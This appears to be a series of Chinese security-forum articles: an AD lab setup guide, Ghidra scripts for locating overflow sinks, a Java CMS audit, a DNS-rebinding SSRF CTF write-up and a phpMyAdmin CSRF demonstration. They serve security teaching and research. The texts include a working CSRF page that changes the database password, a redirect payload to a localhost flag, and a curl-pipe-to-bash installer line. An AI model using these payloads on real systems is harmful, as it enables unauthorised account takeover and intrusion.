在windows下安装git就不说了，也可以直接下载zip包
git clone https://github.com/Orange-Cyberdefense/GOAD.git
# 嫌慢的话可以用加速地址，这个加速地址也支持IPV6，还是很爽的
git clone https://proxy.zyun.vip/https://github.com/Orange-Cyberdefense/GOAD.git
### 4.修改Vagrantfile配置文件
完全同Linux，按实际计算资源来调整
### 5.创建虚拟机
完全同Linux 直接vagrant up
可以看到虚拟机和镜像都在我们设定的目录下：
### 6.(不推荐)在宿主机构建ansible的docker镜像并配置靶场环境
可以在宿主机安装docker-desktop 然后构建ansible镜像
或者直接拉取我的镜像：
docker pull registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible
docker tag registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible ansible
在linux下我们可以使用$(pwd)来将当前目录挂载进容器内
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook main.yml
在windows下需要写绝对路径，而且要注意格式，如C:\Users\YourUsername\Documents\GOAD →
/c/Users/YourUsername/Documents/GOAD
docker run -ti --rm --network host -h goadansible -v /c/Users/YourUsername/Documents/GOAD:/goad -w /goad/ansible goadansible ansible-playbook main.yml
(如果使用旧版本的docker-desktop可能还需要在docker控制台提前设置共享目录
这时候惊奇地发现docker创建的ansible实例与virtualbox启动的虚拟机的网络并不连通
同样选择host模式，为什么在ubuntu宿主机上的docker可以把所有网卡都挂进容器，而windows上的docker并没有？
chatgpt给了原因和一个潜在的方案，不过我没有试
我猜可以直接给docker挂上virtualbox的网卡?
~~docker run --net=host-only-network-of-virtualbox ... ...~~
不过我更喜欢”简单粗暴”的办法：
使用virtualbox创建一个ubuntu虚拟机，在虚拟机内安装ansible并完成对靶场的自动化配置；更令我心动的是，该ubuntu虚拟机后续也可以当做攻击机
### 7.(推荐)创建ubuntu虚拟机(安装ansible)并配置靶场环境
(1)创建ubuntu虚拟机 跟windows靶机一样挂载上网卡
(2)在虚拟机内安装docker
<https://developer.aliyun.com/article/110806>
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
(3)克隆GOAD仓库并构建goadansible
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD
docker build -t goadansible .
或者直接拉取我的镜像
docker pull registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible
docker tag registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible ansible
(4)使用ansible配置虚拟机内环境
这里步骤跟Linux下的相同
* 首先尝试执行ansible-playbook main.yml
* 错误较少的话重复执行ansible-playbook main.yml
* 错误较多的话逐一执行main.yml中的各个yml
* 仍然不成功的话，重启/重装虚拟机，检查计算资源
* 直到最终输出只有ok和changed
### 8.测试
后续在windows宿主机和ubuntu虚拟机内展开攻击都可以
可以在windows上用rdp测测连通性
也可以在ubuntu攻击机内测一下各种命令
### 9.创建快照
刚部署完成可以创建一份快照，避免后边把靶场打坏了，重新部署又很费劲，有了快照就可以直接恢复
vagrant snapshot save
当然也可以使用virtualbox直接导出备份
## 搭建失败可能原因
TL;DR: 可能不是计算资源分配少了，而是分多了
我刚开始是在实验室的Linux服务器上搭建的靶场，ansible配置阶段比较顺利，执行一两次main.yml就完成了
后来学校的服务器宕机了而且寒假没法修理，我就被迫在windows小主机上重新搭建环境
在windows上我给每个虚拟机分配的资源是2C4G，我的windows小主机是12C32G，我觉地一共开五个虚拟机的话，资源也是够用的(在资源管理器也没有发现CPU和内存占用一直非常高的情况)
但是在ansible阶段我一直遇到问题，最频繁的就是卡在了Gathing
Facts阶段，我将main.yml中的各个yml逐一执行也是不行(后来甚至对每个虚拟机逐一执行，如DC01)，中间反复重启/重置虚拟机，挣扎了几天仍然没有解决问题
后来我通过virtualbox的控制台留意到虚拟机内的时间不一致，最离谱的情况能差两分钟
比如DC01现在是7:45
而DC02却是
这给我一定的启发：会不会是我给每个虚拟机分配的资源太多了，各个虚拟机在竞争超额分配的计算资源？时间都不同步了，这么离谱的吗？？
我将每个虚拟机分配的资源由2C4G调整到了1C2G，之后各虚拟机的时间就都同步了，而且ansible配置阶段也非常顺利了
可以看一下我提的issue: <https://github.com/Orange-Cyberdefense/GOAD/issues/79>
## 总结
我在中文互联网上没有找到GOAD靶场的其他Writeup，估计就是它比较难搭的问题吧。。。祝各位师傅搭建顺利，有问题可以留言交流下~ | 社区文章 |
原文地址：<https://www.somersetrecon.com/blog/2019/ghidra-plugin-development-for-vulnerability-research-part-1>
## 概述
在今年3月5日举行的RSA安全会议上，美国国家安全局(NSA)发布了一个名为Ghidra的逆向工具。与IDA
Pro类似，[Ghidra](https://ghidra-sre.org/
"Ghidra")也是一款反汇编和反编译软件，并提供了许多强大的特性，例如，插件支持、图形视图、交叉引用、语法突出显示等。虽然Ghidra的插件功能非常强大，但是介绍其完整功能的文章却非常匮乏。因此，在本系列文章中，我们将重点介绍如何开发Ghidra的插件，以及如何使用插件来帮助识别软件漏洞。
在上一篇[文章](https://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting "文章")中，我们利用了IDA
Pro的插件功能来识别sink点（可能存在安全漏洞的函数或编程语法）。接着，我们在后续的[文章](https://www.somersetrecon.com/blog/2018/8/2/idapython-part-2 "文章")中又对这种技术进行了改进，以识别内联strcpy调用和Microsoft
Office中的缓冲区溢出漏洞。在本文中，我们将使用类似的技术和Ghidra的插件的各种特性来识别CoreFTPServer v1.2 build
505中的sink点。
## Ghidra插件基础知识
在开始之前，大家最好先浏览一下示例Ghidra插件脚本和API文档的首页，以了解编写插件方面的基础知识。（Help -> Ghidra API Help）
当Ghidra插件脚本运行时，程序的当前状态将是通过下面五个对象来处理的：
* currentProgram：活动程序
* currentAddress：工具中当前光标位置的地址
* currentLocation：工具中当前光标位置的程序位置，如果程序位置不存在，则为null
* currentSelection：工具中的当前选择，如果尚未选择，则为null
* currentHighlight：工具中的当前高亮显示，如果没有进行高亮显示，则为null
值得注意的是，Ghidra是用Java编写的，所以，我们可以用Java或Jython来编写相应的插件。在本文中，我们将使用Jython来编写插件。我们可以通过三种方式来使用Ghidra的Jython
API：
* 使用Python IDE（类似于IDA Python控制台）：
* 从脚本管理器加载脚本：
* Headless方式——在不借助GUI的情况下使用Ghidra：
在了解了Ghidra插件方面的基础知识后，接下来，我们将通过脚本管理器（右键单击脚本 -> Edit with Basic
Editor）来进一步研究源代码。
示例插件脚本位于/path_to_ghidra/ghidra/features/python/ghidra_scripts目录下。（在脚本管理器中，它们位于examples/python/目录下）：
## Ghidra插件的sink点检测
为了检测sink点，我们首先需要创建一个供插件使用的sink点列表。对于本文来说，我们的目标是已知的、会导致缓冲区溢出的sink点。这些sink点可以在各种文章、书籍和出版物中找到。
对于我们的插件来说，将首先查找程序中的所有函数调用，并对照sink点列表进行检查，以筛选出目标。对于每个sink点，我们将标识它们的所有父函数和调用地址。在这个过程结束时，我们将得到一个插件，可以将调用函数映射到sink点，从而识别处可能导致缓冲区溢出的sink点。
### 定位函数调用
我们可以通过多种方法来确定程序是否包含sink点。不过，在这里我们将侧重于以下方法，并在后文中详细加以介绍：
* 线性搜索——遍历二进制文件的正文段（text section，可执行段），并对照预定义的sink点列表检查指令操作数。
* 交叉引用（Xrefs）——利用Ghidra内置的交叉引用标识，来查询对于sink点的交叉引用。
## 线性搜索
定位程序中所有函数调用时，第一种方法就是进行顺序搜索。虽然这种方法可能不是最理想的搜索技术，但在演示Ghidra
API中某些特性方面，却不失为一种很好的方法。
通过下面的代码，我们可以打印出程序中的所有指令：
listing = currentProgram.getListing() #get a Listing interface
ins_list = listing.getInstructions(1) #get an Instruction iterator
while ins_list.hasNext(): #go through each instruction and print it out to the console
ins = ins_list.next()
print (ins)
在CoreFtpServer上运行上述脚本将得到以下输出：
我们可以看到，该程序中的所有x86指令都被显示到控制台了。
接下来，我们要做的是对用于该程序的sink点进行过滤。重要的是，要检查重复项，因为可能存在多个对已标识sink点的引用。
在前面代码的基础上，我们可以获得以下代码：
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"lstrcpy",
"strcpyW",
#...
]
duplicate = []
listing = currentProgram.getListing()
ins_list = listing.getInstructions(1)
while ins_list.hasNext():
ins = ins_list.next()
ops = ins.getOpObjects(0)
try:
target_addr = ops[0]
sink_func = listing.getFunctionAt(target_addr)
sink_func_name = sink_func.getName()
if sink_func_name in sinks and sink_func_name not in duplicate:
duplicate.append(sink_func_name)
print (sink_func_name,target_addr)
except:
pass
现在，我们已经在目标二进制文件中找到了一个sink点列表，接下来，我们必须找到调用这些函数的位置。由于我们可以遍历二进制文件的可执行部分，并根据sink点列表来检查每个操作数，所以，只需为调用指令添加一个过滤器即可。
将该检查添加到前面代码中，我们将得到：
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"strcpyA",
"strcpyW",
"wcscpy",
"_tcscpy",
"_mbscpy",
"StrCpy",
"StrCpyA",
"lstrcpyA",
"lstrcpy",
#...
]
duplicate = []
listing = currentProgram.getListing()
ins_list = listing.getInstructions(1)
#iterate through each instruction
while ins_list.hasNext():
ins = ins_list.next()
ops = ins.getOpObjects(0)
mnemonic = ins.getMnemonicString()
#check to see if the instruction is a call instruction
if mnemonic == "CALL":
try:
target_addr = ops[0]
sink_func = listing.getFunctionAt(target_addr)
sink_func_name = sink_func.getName()
#check to see if function being called is in the sinks list
if sink_func_name in sinks and sink_func_name not in duplicate:
duplicate.append(sink_func_name)
print (sink_func_name,target_addr)
except:
pass
针对CoreFTPServer v1.2 build 505运行上述脚本，检测到的全部sink点如下所示：
不幸的是，上面的代码并没有检测到CoreFTPServer二进制文件中的任何sink点。但是，我们知道，这个特定版本的CoreFTPServer的确容易受到缓冲区溢出的攻击，并且包含sink点lstrcpyA。那么，为什么我们的插件没有检测到任何sink点呢？
经过一番研究之后，我们发现为了识别针对外部DLL的函数调用，我们需要使用专门处理外部函数的函数管理器。
为此，我们修改了代码，以便每次看到调用指令时，我们都会检查程序中的所有外部函数，并对照sink点列表进行检查。然后，如果在列表中找到了这些函数，我们就检查操作数是否与sink点的地址相匹配。
以下是脚本的修改部分:
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"strcpyA",
"strcpyW",
"wcscpy",
"_tcscpy",
"_mbscpy",
"StrCpy",
"StrCpyA",
"lstrcpyA",
"lstrcpy",
#...
]
program_sinks = {}
listing = currentProgram.getListing()
ins_list = listing.getInstructions(1)
ext_fm = fm.getExternalFunctions()
#iterate through each of the external functions to build a dictionary
#of external functions and their addresses
while ext_fm.hasNext():
ext_func = ext_fm.next()
target_func = ext_func.getName()
#if the function is a sink then add it's address to a dictionary
if target_func in sinks:
loc = ext_func.getExternalLocation()
sink_addr = loc.getAddress()
sink_func_name = loc.getLabel()
program_sinks[sink_addr] = sink_func_name
#iterate through each instruction
while ins_list.hasNext():
ins = ins_list.next()
ops = ins.getOpObjects(0)
mnemonic = ins.getMnemonicString()
#check to see if the instruction is a call instruction
if mnemonic == "CALL":
try:
#get address of operand
target_addr = ops[0]
#check to see if address exists in generated sink dictionary
if program.sinks.get(target_addr):
print (program_sinks[target_addr], target_addr,ins.getAddress())
except:
pass
利用修改后的脚本对我们的程序进行检查，我们发现了多个可能导致缓冲区溢出的sink点。
## Xrefs
第二种更有效的方法是识别每个sink点的交叉引用，并检查哪些交叉引用正在调用列表中的sink点。由于此方法不会搜索整个正文段，因此效率更高。
使用以下代码，我们可以识别每个sink点的交叉引用：
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"strcpyA",
"strcpyW",
"wcscpy",
"_tcscpy",
"_mbscpy",
"StrCpy",
"StrCpyA",
"lstrcpyA",
"lstrcpy",
#...
]
duplicate = []
func = getFirstFunction()
while func is not None:
func_name = func.getName()
#check if function name is in sinks list
if func_name in sinks and func_name not in duplicate:
duplicate.append(func_name)
entry_point = func.getEntryPoint()
references = getReferencesTo(entry_point)
#print cross-references
print(references)
#set the function to the next function
func = getFunctionAfter(func)
现在，我们已经找到了交叉引用，我们可以获得每个引用的指令并为调用指令添加一个过滤器。相应的代码如下所示：
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"strcpyA",
"strcpyW",
"wcscpy",
"_tcscpy",
"_mbscpy",
"StrCpy",
"StrCpyA",
"lstrcpyA",
"lstrcpy",
#...
]
duplicate = []
fm = currentProgram.getFunctionManager()
ext_fm = fm.getExternalFunctions()
#iterate through each external function
while ext_fm.hasNext():
ext_func = ext_fm.next()
target_func = ext_func.getName()
#check if the function is in our sinks list
if target_func in sinks and target_func not in duplicate:
duplicate.append(target_func)
loc = ext_func.getExternalLocation()
sink_func_addr = loc.getAddress()
if sink_func_addr is None:
sink_func_addr = ext_func.getEntryPoint()
if sink_func_addr is not None:
references = getReferencesTo(sink_func_addr)
#iterate through all cross references to potential sink
for ref in references:
call_addr = ref.getFromAddress()
ins = listing.getInstructionAt(call_addr)
mnemonic = ins.getMnemonicString()
#print the sink and address of the sink if
#the instruction is a call instruction
if mnemonic == “CALL”:
print (target_func,sink_func_addr,call_addr)
针对CoreFTPServer运行修改后的脚本，就会得到可能导致缓冲区溢出的sink点列表：
## 将调用函数映射到sink点
到目前为止，我们的Ghidra插件已经可以识别sink点。借助于这些信息，我们可以通过将调用函数映射到sink点来进行更深入的分析，以实现sink点与其输入数据之间的关系的可视化。在这里，我们将使用graphviz模块绘制图形。
把它们组合在一起，我们就可以得到以下代码：
from ghidra.program.model.address import Address
from ghidra.program.model.listing.CodeUnit import *
from ghidra.program.model.listing.Listing import *
import sys
import os
#get ghidra root directory
ghidra_default_dir = os.getcwd()
#get ghidra jython directory
jython_dir = os.path.join(ghidra_default_dir, "Ghidra", "Features", "Python", "lib", "Lib", "site-packages")
#insert jython directory into system path
sys.path.insert(0,jython_dir)
from beautifultable import BeautifulTable
from graphviz import Digraph
sinks = [
"strcpy",
"memcpy",
"gets",
"memmove",
"scanf",
"strcpyA",
"strcpyW",
"wcscpy",
"_tcscpy",
"_mbscpy",
"StrCpy",
"StrCpyA",
"StrCpyW",
"lstrcpy",
"lstrcpyA",
"lstrcpyW",
#...
]
sink_dic = {}
duplicate = []
listing = currentProgram.getListing()
ins_list = listing.getInstructions(1)
#iterate over each instruction
while ins_list.hasNext():
ins = ins_list.next()
mnemonic = ins.getMnemonicString()
ops = ins.getOpObjects(0)
if mnemonic == "CALL":
try:
target_addr = ops[0]
func_name = None
if isinstance(target_addr,Address):
code_unit = listing.getCodeUnitAt(target_addr)
if code_unit is not None:
ref = code_unit.getExternalReference(0)
if ref is not None:
func_name = ref.getLabel()
else:
func = listing.getFunctionAt(target_addr)
func_name = func.getName()
#check if function name is in our sinks list
if func_name in sinks and func_name not in duplicate:
duplicate.append(func_name)
references = getReferencesTo(target_addr)
for ref in references:
call_addr = ref.getFromAddress()
sink_addr = ops[0]
parent_func_name = getFunctionBefore(call_addr).getName()
#check sink dictionary for parent function name
if sink_dic.get(parent_func_name):
if sink_dic[parent_func_name].get(func_name):
if call_addr not in sink_dic[parent_func_name][func_name]['call_address']:
sink_dic[parent_func_name][func_name]['call_address'].append(call_addr)
else:
sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}
else:
sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}
except:
pass
#instantiate graphiz
graph = Digraph("ReferenceTree")
graph.graph_attr['rankdir'] = 'LR'
duplicate = 0
#Add sinks and parent functions to a graph
for parent_func_name,sink_func_list in sink_dic.items():
#parent functions will be blue
graph.node(parent_func_name,parent_func_name, style="filled",color="blue",fontcolor="white")
for sink_name,sink_list in sink_func_list.items():
#sinks will be colored red
graph.node(sink_name,sink_name,style="filled", color="red",fontcolor="white")
for call_addr in sink_list['call_address']:
if duplicate != call_addr:
graph.edge(parent_func_name,sink_name, label=call_addr.toString())
duplicate = call_addr
ghidra_default_path = os.getcwd()
graph_output_file = os.path.join(ghidra_default_path, "sink_and_caller.gv")
#create the graph and view it using graphiz
graph.render(graph_output_file,view=True)
针对我们的程序运行该脚本，会得到以下图表：
我们可以看到调用函数以蓝色突出显示，而sink点以红色突出显示。调用函数的地址显示在指向sink点的代码行上。
在进行必要的手动分析后，我们发现，这个Ghidra插件识别出的几个sink点都产生了缓冲区溢出。WinDBG的以下屏幕截图表明，由于lstrcpyA函数调用，EIP被0x42424242覆盖了。
## 其他功能
虽然以图形方式显示结果有助于漏洞分析，但如果用户可以选择不同的输出格式，会更加方便。
Ghidra API提供了多种与用户交互的方法，以及多种输出数据的方法。我们可以利用Ghidra
API让用户选择输出格式（例如文本、JSON、图形）并以所选格式显示结果。下面的示例显示了具有三种不同显示格式的下拉菜单。此外，完整的脚本可以在我们的[github](https://github.com/Somerset-Recon/blog/tree/master/Eldrax "github")上找到：
## 局限性
Ghidra存在多个已知问题，例如，对于编写像我们这样的分析插件的一个最大问题是Ghidra API并不总能返回已识别标准函数的正确地址。
与IDA Pro不同，IDA
Pro具有来自多个库的函数签名（FLIRT签名）数据库，可用于检测标准函数调用。但是，Ghidra仅为DLL提供了一些导出文件（类似于签名文件）。有时，标准库检测无法正常进行。
通过比较IDA Pro和Ghidra针对CoreFTPServer的反汇编输出，我们可以看到，IDA
Pro的分析通过FLIRT签名成功地识别和映射了函数lstrcpyA，而Ghidra则显示了对函数lstrcpyA的内存地址的调用。
尽管Ghidra的公开版本存在某些局限性，但我们希望看到这些不足会得到改善，比如增强标准库分析功能，以进一步推动自动化漏洞研究。
## 小结
Ghidra是一个强大的逆向工程工具，可以用来识别潜在的漏洞。使用Ghidra的应用编程接口，我们能够开发插件来识别sink点及其父函数，并以各种形式显示结果。在我们的下一篇文章中，我们将使用Ghidra进行其他方面的自动化分析，并增强插件的漏洞检测能力。 | 社区文章 |
## 前言
之前各位看过先知的php审计，不过后期随着技术需求学习了Java的代码审计，这几天来实战检验自己的成果，其实代码审计我认为不仅仅在于代码层面的测试，包括你去搭建部署起来和去黑盒测试功能点对应的代码中去摸索这个过程是最重要的，在代码审计中往往都是沉下心来一步一步的摸索就可以柳暗花明了！
## 环境配置
> 本地部署环境：idea+tomcat8.5.67+mysql5.7.26+jdk1.8
>
> cms技术栈：SpringBoot、SpringCloud、Shiro、Thymeleaf、Vue、Element、Bootstrap
拿到源码期初看的时候，看的真的离谱这框架和架构给我看的很懵，第一次做java的代码审计审这么多架构的组合。
## 垂直越权
Java审计流程还有架构原理什么的可以看之前的文章都有说明~
上手代码来看，admin-system的SysRoleCotroller。
如图所示 @PostMapping("/authUser/selectAll")
这是Spring4.3中来帮助简化常用的HTTP方法的映射，并更好地表达被注解方法的语义。
/**
* 批量选择用户授权
*/
@RequiresPermissions("system:role:edit")
@Log(title = "角色管理", businessType = BusinessType.GRANT)
@PostMapping("/authUser/selectAll")
@ResponseBody
public AjaxResult selectAuthUserAll(Long roleId, String userIds)
{
return toAjax(roleService.insertAuthUsers(roleId, userIds));
}
}
看代码传递了roleId, userIds两个参数，跟进insertAuthUsers方法
这个地方依旧没有进行参数的过滤和校验，这样我们直接构造burp的数据包
直接返回操作成功
这个地方其实还有个修改其他人权限，在cookie这个地方只要保证我们的cookie没有失效的情况，这样去修改其他的userIds和roleId都可以去修改的。
## 失败的白名单
其实审计大家都希望直接去寻找getshell方法找上传点，在MVC架构里面的uploadController
跟踪一下（tips：在这里我用的idea搜索双击shift跟踪的话直接ctrl+单击）FileUploadUtils
再继续跟踪DEFAULT_ALLOWED_EXTENSION
这个地方写了白名单，想了很久不知道怎么绕过这个白名单，有师傅会的话可以私聊交流一下~
## 过时的漏洞分析
cnvd看到了过去的版本中存在任意文件下载
看代码分析~
@GetMapping("/common/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
try
{
if (!FileUtils.checkAllowDownload(resource))
{
throw new Exception(StringUtils.format("资源文件({})非法，不允许下载。 ", resource));
}
// 本地资源路径
String localPath = XXXConfig.getProfile();
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}
}
跟踪checkAllowDownload
这个地方加了限制没办法去穿越目录达到任意文件下载了。
## 总结
有代码基础的朋友可以和我一样找cms练手，去看cnvd之前版本的旧漏洞，可以去复现也可以去对比他的更新做了哪些修复，官方的补丁有哪些，然后自己进行分析和笔记的记录，这样不仅仅有助于代码审计更对于漏洞原理&构成有更加深入的了解，虽然这次审计审出来的垂直越权提交cnvd了，剩下两个是上个版本漏洞的分析，希望大家提建议
### 附一个常规审计思路
* 正向数据流分析-根据业务推代码
* 逆向数据流分析-根据缺陷推业务
* 代码审计工具辅助
* 检查关键组件
* 自定义框架审计 | 社区文章 |
## 什么是DNS Rebinding？
维基百科上是这样描述的：
> DNS重新绑定是计算机攻击的一种形式。 在这种攻击中，恶意网页会导致访问者运行客户端脚本，攻击网络上其他地方的计算机。
> 从理论上讲，同源策略可防止发生这种情况：客户端脚本只能访问为脚本提供服务的同一主机上的内容。
> 比较域名是实施此策略的重要部分，因此DNS重新绑定通过滥用域名系统（DNS）来绕过这种保护。
> 这种攻击可以通过让受害者的网络浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用网络。
> 它也可以用于使用受害者机器发送垃圾邮件，分布式拒绝服务攻击或其他恶意活动。
由于我们是用它来绕过SSRF漏洞，所以简单理解就是：当某一个SSRF检测是通过DNS解析后的`ip地址`来判断是否为安全地址的话，我们可以通过`DNS
rebinding`来进行绕过。
## 传统SSRF过滤流程
1. 获取到输入的URL，从该URL中提取host
2. 对该host进行DNS解析，获取到解析的IP
3. 检测该IP是否是合法的，比如是否是私有IP等
4. 如果IP检测为合法的，则进入curl的阶段发包
从DNS解析的角度来看，这个过程一共有两次解析，第一次是`对该host进行DNS解析`，第二次是`进入curl的阶段发包`，这两次请求之间存在一个时间差，如果我们能够修改DNS地址在第一次请求的时候为合法地址，第二次请求时为恶意地址，就可以绕过这个检测了。
## DNS Rebinding如何利用？
> 攻击者注册一个域名（如attacker.com），并在攻击者控制下将其代理给DNS服务器。 服务器配置为很短响应时间的TTL记录，防止响应被缓存。
> 当受害者浏览到恶意域时，攻击者的DNS服务器首先用托管恶意客户端代码的服务器的IP地址作出响应。
> 例如，他们可以将受害者的浏览器指向包含旨在在受害者计算机上执行的恶意JavaScript或Flash脚本的网站。
> 恶意客户端代码会对原始域名（例如attacker.com）进行额外访问。 这些都是由同源政策所允许的。
> 但是，当受害者的浏览器运行该脚本时，它会为该域创建一个新的DNS请求，并且攻击者会使用新的IP地址进行回复。
> 例如，他们可以使用内部IP地址或互联网上某个目标的IP地址进行回复。
TTL是一条域名解析记录在DNS服务器中的存留时间。把这个值设置的非常小可以防止DNS解析结果被缓存，进而使得每次获取DNS解析结果是不同的。
简单理一下这个过程：
1. 攻击者配置了一台DNS服务器用于解析某域名
2. 每次请求后返回的解析结果不一样，分别是一个合法地址，一个是恶意地址
3. 当服务器在第一次请求的时候返回合法地址，第二次请求时返回的是恶意地址。就可以绕过限制进行利用
当然有师傅会觉得比较麻烦，还需要搭DNS服务器啥的，这里提供两个方式可以降低利用复杂度。不需要自己去搭建一个DNS服务器来进行利用，可以使用一些平台来构造。
1. <http://ceye.io/>
2. <https://lock.cmpxchg8b.com/rebinder.html>
## DNS Rebinding 题目场景
这次huaweictf中有一道题就是利用`DNS
Rebinding`来绕过SSRF检测拿到flag。题目环境中存在一个疑似可利用的SSRF漏洞，各种条件限制的非常严格。题目部分代码如下：
app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
}); // 这里可以获取flag
app.post('/admin', (req, res) => {
if ( !req.body.fileurl || !check(req.body.fileurl) ) {
res.end("Invalid file link")
return
}
let file = req.body.fileurl;
//dont DOS attack, i will sleep before request
cp.execSync('sleep 5')
let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.end(body)
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})
这里会接收一个`fileurl`的参数，使用`check`函数对其进行检查，如果通过，则使用`request.get`发起请求并返回结果。获取flag的页面对来源`ip`进行了限制，只允许`127.0.0.1`进行获取。那这里的利用思路就比较直接，绕过这个`check`函数，拿到`flag`。
来看下这个`check`函数。
const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")
const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}
const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}
const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false
let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;
host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null || port == null)
return false
dns = dnslookup(host); // 这里要获取主机的dns信息
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
return false
for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}
exports.check = check
针对`fileurl`的检查流程是由三个函数所组成的，主要检查的内容如下：
1. 检查是否是字符串类型，是否以`http://`开头
2. 使用`url.parse`获取`hostname`和`port`，其中一个都不能为`null`
3. 调用`curl [ip-api.com/json/$](http://ip-api.com/json/$){s}`获取域名的DNS最终的解析地址，dns地址必须为`docker.ip`。(这个地址是题目中已经定义好了的一个ip地址)
4. `port`不能是`80`或者`8080`端口
5. 整个url中不能有包含`['wrong', '127.', 'local', '@', 'flag']`
通过这个检查流程，可以拦截绝大多数绕过SSRF的方式。但是这里存在一个问题，判断dns地址是否`docker.ip`和真正请求地址是分开的，分别是两个不同的请求。所以这里可以利用`DNS
rebinding`方式进行绕过，让上面的第3步获取到的dns地址是`docker.ip`，而后面真正请求的时候，则获取到的是我们构造的恶意服务器地址。
这里我用了第二个平台来进行利用，A一个绑定了我的vps地址，B绑定了`docker.ip`:
下面生成了一个地址，可以用`https://tool.chinaz.com/dns/`查询一下，在结果中可以看到不同的地区查询出来的最终解析地址是不一样的，一个是我的vps地址，另一个是题目的`docker.ip`。并且这里的TTL都为1。
在`vps`上起一个web服务，端口不为`80`与`8080`，写一个`index.php`页面用于跳转：(我这里用的端口为9024)
<?php
header("Location:http://127.0.0.1/flag");
?>
由于`flag`这个字符是在跳转里的，并没有在url中，自然也就不会被拦截了。这样，我们只需要给admin页面传入`fileurl=http://xxxxxx.7925af9a.rbndr.us:9024/`就可以绕过检测来进行SSRF漏洞的利用了。
服务器那边解析不一定就会按照预想的来，需要不停的发包来碰撞。最终拿到flag如下：
## 修复
1. 如果应用服务所接收的url是一个固定的域名或者域名范围可控，就应该创建白名单来校验域名。
2. 如果接收的url的域名是不可控的，则可以考虑用一个沙箱环境来进行数据请求，实现内网分离。
3. ...
## 参考
* <https://blog.csdn.net/u011721501/article/details/54667714> | 社区文章 |
phpMyAdmin是个知名MySQL/MariaDB在线管理工具，phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞（[PMASA-2017-9](https://www.phpmyadmin.net/security/PMASA-2017-9/)），攻击者可以通过诱导管理员访问恶意页面，悄无声息地执行任意SQL语句。
该篇文章我们将结合VulnSpy的[在线phpMyAdmin环境](https://www.vulnspy.com/?u=pmasa-2017-9)来熟悉该漏洞的利用。
**在线 phpMyAdmin CSRF 演练地址：<https://www.vulnspy.com/?u=pmasa-2017-9>**
注：重启演示靶机即可重置靶机
## 1 在线创建 phpMyAdmin 环境
点击 VulnSpy
提供的创建靶机地址（[https://www.vsplate.com/?github=vulnspy/PMASA-2017-9）](https://www.vsplate.com/?github=vulnspy/PMASA-2017-9%EF%BC%89)
跳转到 VSPlate 后，直接点击`GO`按钮，便会自动创建一个 phpMyAdmin 环境
打开`演示地址`的链接，我们的 phpMyAdmin 就创建完成了。
使用帐号 `root` ，密码 `toor` ，登录 phpMyAdmin 。根据页面信息，我们可以发现当前 phpMyAdmin 的版本为
4.7.6，刚好匹配存在漏洞的 phpMyAdmin 版本。
## 2 CSRF 漏洞利用 - 修改当前数据库用户密码
我们知道，如果要利用CSRF来删除或修改数据库内容，通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂，成功率也有限，因此本文我们将介绍几种较为通用的利用方式。
在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为`[www.vulnspy.com](http://www.vulnspy.com)`，对应的SQL语句为：
SET passsword=PASSWORD('www.vulnspy.com');
### 利用演示
**2.1 模拟管理员登录phpMyAdmin的状态。**
用帐号 root 密码 toor 登录 phpMyAdmin 。
**2.2 创建含有恶意代码的页面。**
文件名 2.payload.html （将下面的域名换成自己的靶机域名）
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
**2.3 用浏览器打开含有恶意代码的文件 2.payload.html**
